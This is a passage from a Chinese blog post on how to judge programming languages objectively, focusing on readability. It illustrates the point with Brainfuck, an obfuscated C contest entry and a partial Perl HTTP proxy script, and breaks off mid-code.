			<content:encoded><![CDATA[<p>有人提到以過去的觀點來看現在的PHP是不公平的，確實我有好一陣子沒有碰PHP，對於新版的PHP並不瞭解，因此我花了一些時間檢視新的PHP規格，的確新版的PHP遠比我預料的進步許多，很多之前提到的問題有所改善，我承認上一篇文章說PHP很爛是在發洩過去對於PHP的種種不滿，有人認為程式語言沒有好壞，全部都事在人為，而我認為程式語言的好壞有主觀也有客觀的部份，當你討厭或喜歡一個程式語言一定有某些原因，但就客觀的來看語言的設計來講，PHP在早期真的是爛得一榻糊塗，是公認的爛，但是在當時少有選擇，能選的工具不多，就只有PHP，在累積夠久的不滿後就會一次暴發開來，對於現在的PHP5.3還有未來的PHP6而言，他已經跳離了以前的單純語言設計上的爛，往更好的方向前進，我能說PHP的壞話少了很多，因為當語言層面的問題大部份都解決了，接著就是哲學和個人喜好的問題了，對與目前和新版的PHP的誤解在這邊說聲抱歉</p>
<p>所以這篇我想說的，怎樣看客觀地評估一款語言的好壞，還有主觀地評估好與壞，很多人說程式語言沒有好與壞，只有適合和不適合，基本上我不認同這樣的說法，如果說兩種差別很大用途不同的語言拿來一起比較就很奇怪，但是如果是性質接近的語言都符合你需求，就可以做好壞的比較，不然你要怎麼做選擇? 就如同我們買車子好了，你的目的是載貨，買的自然是卡車、貨車，但是如果是轎車呢? 就算是卡車也有選擇的，程式語言也一樣，目前大部份人所見到的程式語言，都是所謂的』通用目的』語言，也就是說這樣的語言沒有預設任何用途，基本上他可以拿來做任何用途，很多人因為不知道要從何比較起，所以都說程式語言沒有好壞之分，只有適合和不適合，如果有一堆工具都適合，既然沒有好壞之分，那你又該如何做出進一步的評估與選擇? 適不適合不就是透過比較而來的嗎? 不比較怎麼知道適不適合? 這不是自相矛盾嗎? 只靠喜好嗎? 閉著眼睛亂選?  大家都知道車子我們可以比較它的馬力、耗油、安全評等，但是大多數人不知道程式語言該比較些什麼，而我今天所要說的，就是程式語言該拿什麼來比較</p>
<p><span id="more-928"></span></p>
<h2>客觀的評估條件</h2>
<p>首先，客觀的評估條件並不是完全客觀的，在某些情況它會帶有主觀色彩，例如一個語法的可讀性如何，這就帶有某種程度的主觀，事實上有一個領域是在探討這些問題的，在資訊工程系開的一門課叫「程式語言」就有某部份在討論這些，但是對於這部份沒有很深入，而關於這些條件應該有更嚴僅學術上的方式來對這些條件進行評估，但是那超出我的知識範圍，我就我所知道的來說</p>
<h3>可讀性</h3>
<p>可讀性是指一個程式語言寫出來的語句是否容易閱讀</p>
<p>可讀性是程式語言很重要的一個優劣的參考指標，因為有一個事實就是</p>
<blockquote><p>程式被讀比被寫還多次</p></blockquote>
<p>一個程式的可讀性，關係到維護的人能否輕易的瞭解程式語言所表達程式的意圖，如果維護的人難以理解某段程式所要表達的事情，那麼這些程式就難以被維護，軟體工程中有個很重要的概念就是，程式開發的成本其實只佔一小部份，而維護其實所花的成本會比開發來得多，在這樣的情況下，如果寫出來的程式難以被讀懂，那麼接手的人將難以進行維護，如此一來可能要面臨整個程式重寫的情況，會使得維護的成本大大增加，程式碼也失去了重覆利用的價值，所以可讀性對於一款程式語言的好壞來說是很重要的一個指標</p>
<p>為了說明可讀性爛的程式語言，我找來最極端的例子，<a href="http://zh.wikipedia.org/zh-tw/Brainfuck">Brainfuck</a>是一款以<a href="http://zh.wikipedia.org/zh-tw/%E5%9B%BE%E7%81%B5%E6%9C%BA">圖靈機</a>為模型，所做出來最小化的程式語言，它所寫出來的Helloworld程式如下</p>
<blockquote><p>++++++++++[&gt;+++++++&gt;++++++++++&gt;+++&gt;+&lt;&lt;&lt;&lt;-]<br />
&gt;++.&gt;+.+++++++..+++.&gt;++.&lt;&lt;+++++++++++++++.<br />
&gt;.+++.&#8212;&#8212;.&#8212;&#8212;&#8211;.&gt;+.&gt;.</p></blockquote>
<p>我想應該沒有太多人會反對我說Brainfuck可讀性很差 XD</p>
<p>我喜歡極端的例子，再來一個<a href="http://zh.wikipedia.org/zh-tw/%E5%9B%BD%E9%99%85C%E8%AF%AD%E8%A8%80%E6%B7%B7%E4%B9%B1%E4%BB%A3%E7%A0%81%E5%A4%A7%E8%B5%9B">國際混亂碼大賽</a>的參賽作品，這是一個要將程式寫到別人看不懂，但又要能夠運作，而且要夠創意的比賽，所以寫出來的程式都是可讀性0分的程式，下面這個是可以計算圓周率的程式<br />
<code></p>

<div class="wp_syntax"><div class="code"><pre class="c" style="font-family:monospace;"> <span style="color: #339933;">#define _ -F&lt;00||--F-OO--;</span>
 <span style="color: #993333;">int</span> F<span style="color: #339933;">=</span><span style="color: #208080;">00</span><span style="color: #339933;">,</span>OO<span style="color: #339933;">=</span><span style="color: #208080;">00</span><span style="color: #339933;">;</span>main<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>F_OO<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>printf<span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;%1.3f<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">,</span><span style="color:#800080;">4.</span><span style="color: #339933;">*-</span>F<span style="color: #339933;">/</span>OO<span style="color: #339933;">/</span>OO<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><span style="color: #009900;">&#125;</span>F_OO<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span>
 <span style="color: #009900;">&#123;</span>
             _<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_
        _<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_
     _<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_
   _<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_
  _<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_
  _<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_
 _<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_
 _<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_
 _<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_
 _<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_
  _<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_
  _<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_
   _<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_
     _<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_
         _<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_
             _<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_<span style="color: #339933;">-</span>_
 <span style="color: #009900;">&#125;</span></pre></div></div>

<p></code><br />
當然，這是故意寫出來難懂的例子，有些程式語言天生寫出來的程式就較難懂，或是較容易寫出難懂的程式，舉個例子，Perl程式可讀性和Python比較起來就差很多，下面兩隻程式的目的都一樣，是一隻簡單的Web Proxy程式，Python版本是我參照Perl版寫出來的，特意按照同樣的架構下去寫，目的就是要能容易做比較</p>
<p>Perl版:<br />
<code></p>

<div class="wp_syntax"><div class="code"><pre class="perl" style="font-family:monospace;"><span style="color: #666666; font-style: italic;">#!/usr/bin/perl</span>
<span style="color: #666666; font-style: italic;">#-------------------------------------------------------------------------</span>
<span style="color: #666666; font-style: italic;">#--     proxy.pl    -  A simple http proxy server.                      --</span>
<span style="color: #666666; font-style: italic;">#</span>
<span style="color: #666666; font-style: italic;">#	The original program was from:</span>
<span style="color: #666666; font-style: italic;">#		http://www.cis.upenn.edu/sdt/proxy.pl</span>
<span style="color: #666666; font-style: italic;">#</span>
<span style="color: #666666; font-style: italic;">#	The original program employs the basic socket library, which</span>
<span style="color: #666666; font-style: italic;">#		seems hard to understand for some beginners.</span>
<span style="color: #666666; font-style: italic;">#	That is why I modify it  by employing the </span>
<span style="color: #666666; font-style: italic;">#		IO::Socket::INET</span>
<span style="color: #666666; font-style: italic;">#</span>
<span style="color: #666666; font-style: italic;">#	jay.s.liu@gmail.com</span>
<span style="color: #666666; font-style: italic;">#	Apr. 17, 2006</span>
<span style="color: #666666; font-style: italic;">#--                                                                     --</span>
<span style="color: #666666; font-style: italic;">#--     To run, type   proxy.pl [port-number]   at the shell prompt.    --</span>
<span style="color: #666666; font-style: italic;">#--     Default port number is 5364.                                    --</span>
<span style="color: #666666; font-style: italic;">#--                                                                     --</span>
<span style="color: #666666; font-style: italic;">#-------------------------------------------------------------------------</span>
<span style="color: #000000; font-weight: bold;">use</span> IO<span style="color: #339933;">::</span><span style="color: #006600;">Socket</span><span style="color: #339933;">::</span><span style="color: #006600;">INET</span><span style="color: #339933;">;</span>
<span style="color: #000066;">srand</span> <span style="color: #009900;">&#40;</span><span style="color: #000066;">time</span><span style="color: #339933;">||</span><span style="color: #0000ff;">$$</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #666666; font-style: italic;">#---  Define a friendly exit handler</span>
<span style="color: #0000ff;">$SIG</span><span style="color: #009900;">&#123;</span><span style="color: #ff0000;">'KILL'</span><span style="color: #009900;">&#125;</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">$SIG</span><span style="color: #009900;">&#123;</span>QUIT<span style="color: #009900;">&#125;</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">$SIG</span><span style="color: #009900;">&#123;</span>INT<span style="color: #009900;">&#125;</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">'exit_handler'</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">sub</span> exit_handler <span style="color: #009900;">&#123;</span>
    <span style="color: #000066;">print</span> <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\n</span><span style="color: #000099; font-weight: bold;">\n</span> --- Proxy server is dying ...<span style="color: #000099; font-weight: bold;">\n</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
    <span style="color: #000066;">close</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">$SOCKET</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #000066;">exit</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #0000ff;">$|</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">1</span><span style="color: #339933;">;</span>	<span style="color: #666666; font-style: italic;">#Disable buffering</span>
&nbsp;
<span style="color: #666666; font-style: italic;">##--- Step 1 : Create Socket ---##	</span>
&nbsp;
<span style="color: #666666; font-style: italic;">#--- Get the port number form commemd line	</span>
<span style="color: #0000ff;">$proxy_port</span> <span style="color: #339933;">=</span> <span style="color: #000066;">shift</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">@ARGV</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>								
<span style="color: #0000ff;">$proxy_port</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">5364</span> <span style="color: #b1b100;">unless</span> <span style="color: #0000ff;">$proxy_port</span> <span style="color: #339933;">=~</span> <span style="color: #009966; font-style: italic;">/\d+/</span><span style="color: #339933;">;</span>		
&nbsp;
<span style="color: #666666; font-style: italic;">#--- Create a socket that listens to a specific port</span>
<span style="color: #0000ff;">&amp;listen_to_port</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">$SOCKET</span><span style="color: #339933;">,</span><span style="color: #0000ff;">$proxy_port</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>			
&nbsp;
<span style="color: #0000ff;">$local_host</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">`hostname`</span><span style="color: #339933;">;</span>	
<span style="color: #000066;">chop</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">$local_host</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #0000ff;">$local_host_ip</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">$SOCKET</span><span style="color: #339933;">-&gt;</span><span style="color: #006600;">sockhost</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000066;">print</span> <span style="color: #ff0000;">&quot; --- Proxy server running on $local_host( $local_host_ip ) port: $proxy_port <span style="color: #000099; font-weight: bold;">\n</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #666666; font-style: italic;">#---  Loop forever taking requests as they come</span>
<span style="color: #b1b100;">while</span> <span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
&nbsp;
<span style="color: #666666; font-style: italic;">##--- Step 2 : Wait for request ---##</span>
    <span style="color: #000066;">print</span> <span style="color: #ff0000;">&quot; --- Waiting to be of service ...<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
    <span style="color: #0000ff;">$CHILD</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">$SOCKET</span><span style="color: #339933;">-&gt;</span><span style="color: #006600;">accept</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">||</span> <span style="color: #000066;">die</span> <span style="color: #ff0000;">&quot;accept $!&quot;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #666666; font-style: italic;">#--- Get the ip address of clinet</span>
    <span style="color: #0000ff;">$inetaddr</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">$CHILD</span><span style="color: #339933;">-&gt;</span><span style="color: #006600;">peerhost</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>					 
    <span style="color: #0000ff;">$port</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">$CHILD</span><span style="color: #339933;">-&gt;</span><span style="color: #006600;">peerport</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #000066;">print</span> <span style="color: #ff0000;">&quot;Connection from &quot;</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">$inetaddr</span><span style="color: #339933;">,</span> <span style="color: #ff0000;">&quot;  port: $port <span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #666666; font-style: italic;">#---  Fork a subprocess to handle request.</span>
<span style="color: #666666; font-style: italic;">#---  Parent proces continues listening.</span>
    <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000066;">fork</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
        <span style="color: #000066;">wait</span><span style="color: #339933;">;</span>           <span style="color: #666666; font-style: italic;"># For now we wait for the child to finish</span>
        <span style="color: #b1b100;">next</span><span style="color: #339933;">;</span>           <span style="color: #666666; font-style: italic;"># We wait so that printouts don't mix</span>
    <span style="color: #009900;">&#125;</span>
&nbsp;
&nbsp;
<span style="color: #666666; font-style: italic;">##---  Step 3 : Read first line of request and analyze it. ---##</span>
<span style="color: #666666; font-style: italic;">#---  Return and edited version of the first line and the request method.</span>
  <span style="color: #009900;">&#40;</span><span style="color: #0000ff;">$first</span><span style="color: #339933;">,</span><span style="color: #0000ff;">$method</span><span style="color: #339933;">,</span><span style="color: #0000ff;">$URL</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&amp;analyze_request</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #666666; font-style: italic;">##---  Step 4 : Send request to remote host ---##</span>
    <span style="color: #000066;">print</span> <span style="color: #0000ff;">$URL</span> <span style="color: #0000ff;">$first</span><span style="color: #339933;">;</span>
    <span style="color: #000066;">print</span> <span style="color: #0000ff;">$first</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #666666; font-style: italic;">#-- Read HTTP header and Send it to remote host</span>
    <span style="color: #0000ff;">$contentLength</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">0</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">while</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">&lt;</span><span style="color: #0000ff;">$CHILD</span><span style="color: #339933;">&gt;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
        <span style="color: #000066;">print</span> <span style="color: #0000ff;">$_</span><span style="color: #339933;">;</span>
        <span style="color: #b1b100;">next</span> <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #009966; font-style: italic;">/Proxy-Connection:/</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>	<span style="color: #666666; font-style: italic;">#discard the line which begins with the string &quot;/Proxy-Connection:/&quot;</span>
	<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #009966; font-style: italic;">/Content-length:(.*)/i</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
	    <span style="color: #0000ff;">$contentLength</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">$1</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
        <span style="color: #000066;">print</span> <span style="color: #0000ff;">$URL</span> <span style="color: #0000ff;">$_</span><span style="color: #339933;">;</span>
        <span style="color: #b1b100;">last</span> <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #0000ff;">$_</span> <span style="color: #339933;">=~</span> <span style="color: #009966; font-style: italic;">/^[\s\x00]*$/</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>	<span style="color: #666666; font-style: italic;">#exit loop if the line only contains space and null character</span>
    <span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #666666; font-style: italic;">#Read HTTP content and Send it to remote host</span>
    <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #0000ff;">$method</span> <span style="color: #b1b100;">eq</span> <span style="color: #ff0000;">&quot;POST&quot;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>			
		<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #0000ff;">$contentLength</span> <span style="color: #339933;">!=</span> <span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		    <span style="color: #000066;">read</span> <span style="color: #0000ff;">$CHILD</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">$data</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">$contentLength</span><span style="color: #339933;">;</span>
		<span style="color: #009900;">&#125;</span> 
		<span style="color: #b1b100;">else</span> <span style="color: #009900;">&#123;</span>
		    <span style="color: #0000ff;">$data</span> <span style="color: #339933;">=</span> <span style="color: #339933;">&lt;</span><span style="color: #0000ff;">$CHILD</span><span style="color: #339933;">&gt;;</span>
		<span style="color: #009900;">&#125;</span>
        <span style="color: #000066;">print</span> <span style="color: #ff0000;">&quot;POST body: $data&quot;</span><span style="color: #339933;">;</span>
        <span style="color: #000066;">print</span> <span style="color: #0000ff;">$URL</span> <span style="color: #0000ff;">$data</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span>
    <span style="color: #000066;">print</span> <span style="color: #0000ff;">$URL</span> <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #666666; font-style: italic;">##---  Step 5 : Wait for response and transfer it to requestor. ---##	</span>
    <span style="color: #000066;">print</span> <span style="color: #ff0000;">&quot; --- Done sending. Response: <span style="color: #000099; font-weight: bold;">\n</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
    <span style="color: #0000ff;">$header</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">1</span><span style="color: #339933;">;</span>
    <span style="color: #0000ff;">$text</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">0</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">while</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">&lt;</span><span style="color: #0000ff;">$URL</span><span style="color: #339933;">&gt;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
        <span style="color: #000066;">print</span> <span style="color: #0000ff;">$CHILD</span> <span style="color: #0000ff;">$_</span><span style="color: #339933;">;</span>
        <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #0000ff;">$header</span> <span style="color: #339933;">||</span> <span style="color: #0000ff;">$text</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>      <span style="color: #666666; font-style: italic;"># Only print header &amp; text lines to STDOUT</span>
            <span style="color: #000066;">print</span> <span style="color: #0000ff;">$_</span><span style="color: #339933;">;</span>
            <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #0000ff;">$header</span> <span style="color: #339933;">&amp;&amp;</span> <span style="color: #0000ff;">$_</span> <span style="color: #339933;">=~</span> <span style="color: #009966; font-style: italic;">/^[\s\x00]*$/</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
                <span style="color: #0000ff;">$header</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">0</span><span style="color: #339933;">;</span>
            <span style="color: #009900;">&#125;</span>
<span style="color: #666666; font-style: italic;">#           if ($header &amp;&amp; $_ =~ /^Content-type: text/) {</span>
<span style="color: #666666; font-style: italic;">#               $text = 1;</span>
<span style="color: #666666; font-style: italic;">#           }</span>
        <span style="color: #009900;">&#125;</span>
    <span style="color: #009900;">&#125;</span>
    <span style="color: #000066;">close</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">$URL</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #000066;">close</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">$CHILD</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #000066;">exit</span><span style="color: #339933;">;</span>                       <span style="color: #666666; font-style: italic;"># Exit from child process</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #666666; font-style: italic;">#-------------------------------------------------------------------------</span>
<span style="color: #666666; font-style: italic;">#--     analyze_request                                                 --</span>
<span style="color: #666666; font-style: italic;">#--                                                                     --</span>
<span style="color: #666666; font-style: italic;">#--     Analyze a new request.  First read in first line of request.    --</span>
<span style="color: #666666; font-style: italic;">#--     Read URL from it, process URL and open connection.              --</span>
<span style="color: #666666; font-style: italic;">#--     Return an edited version of the first line and the request      --</span>
<span style="color: #666666; font-style: italic;">#--     method.                                                         --</span>
<span style="color: #666666; font-style: italic;">#-------------------------------------------------------------------------</span>
<span style="color: #000000; font-weight: bold;">sub</span> analyze_request <span style="color: #009900;">&#123;</span>
<span style="color: #666666; font-style: italic;">#---  Read first line of HTTP request</span>
    <span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$first</span> <span style="color: #339933;">=</span> <span style="color: #339933;">&lt;</span><span style="color: #0000ff;">$CHILD</span><span style="color: #339933;">&gt;;</span>
    <span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$url</span> <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span><span style="color: #0000ff;">$first</span> <span style="color: #339933;">=~</span> <span style="color: #000066;">m</span><span style="color: #339933;">|</span><span style="color: #009900;">&#40;</span>http<span style="color: #339933;">://</span><span style="color: #0000ff;">\S</span><span style="color: #339933;">+</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">|</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
    <span style="color: #000066;">print</span> <span style="color: #ff0000;">&quot;Request for URL:  $url <span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #666666; font-style: italic;">#---  Check if first line is of the form GET http://host-name ...</span>
    <span style="color: #b1b100;">my</span> <span style="color: #009900;">&#40;</span><span style="color: #0000ff;">$method</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">$remote_host</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">$remote_port</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">=</span> 
        <span style="color: #009900;">&#40;</span><span style="color: #0000ff;">$first</span> <span style="color: #339933;">=~</span> <span style="color: #000066;">m</span><span style="color: #339933;">!</span><span style="color: #009900;">&#40;</span>GET<span style="color: #339933;">|</span>POST<span style="color: #339933;">|</span>HEAD<span style="color: #009900;">&#41;</span> http<span style="color: #339933;">://</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#91;</span><span style="color: #339933;">^/:</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">+</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">:?</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">\d</span><span style="color: #339933;">*</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">!</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #666666; font-style: italic;">#---  If not, bad request.</span>
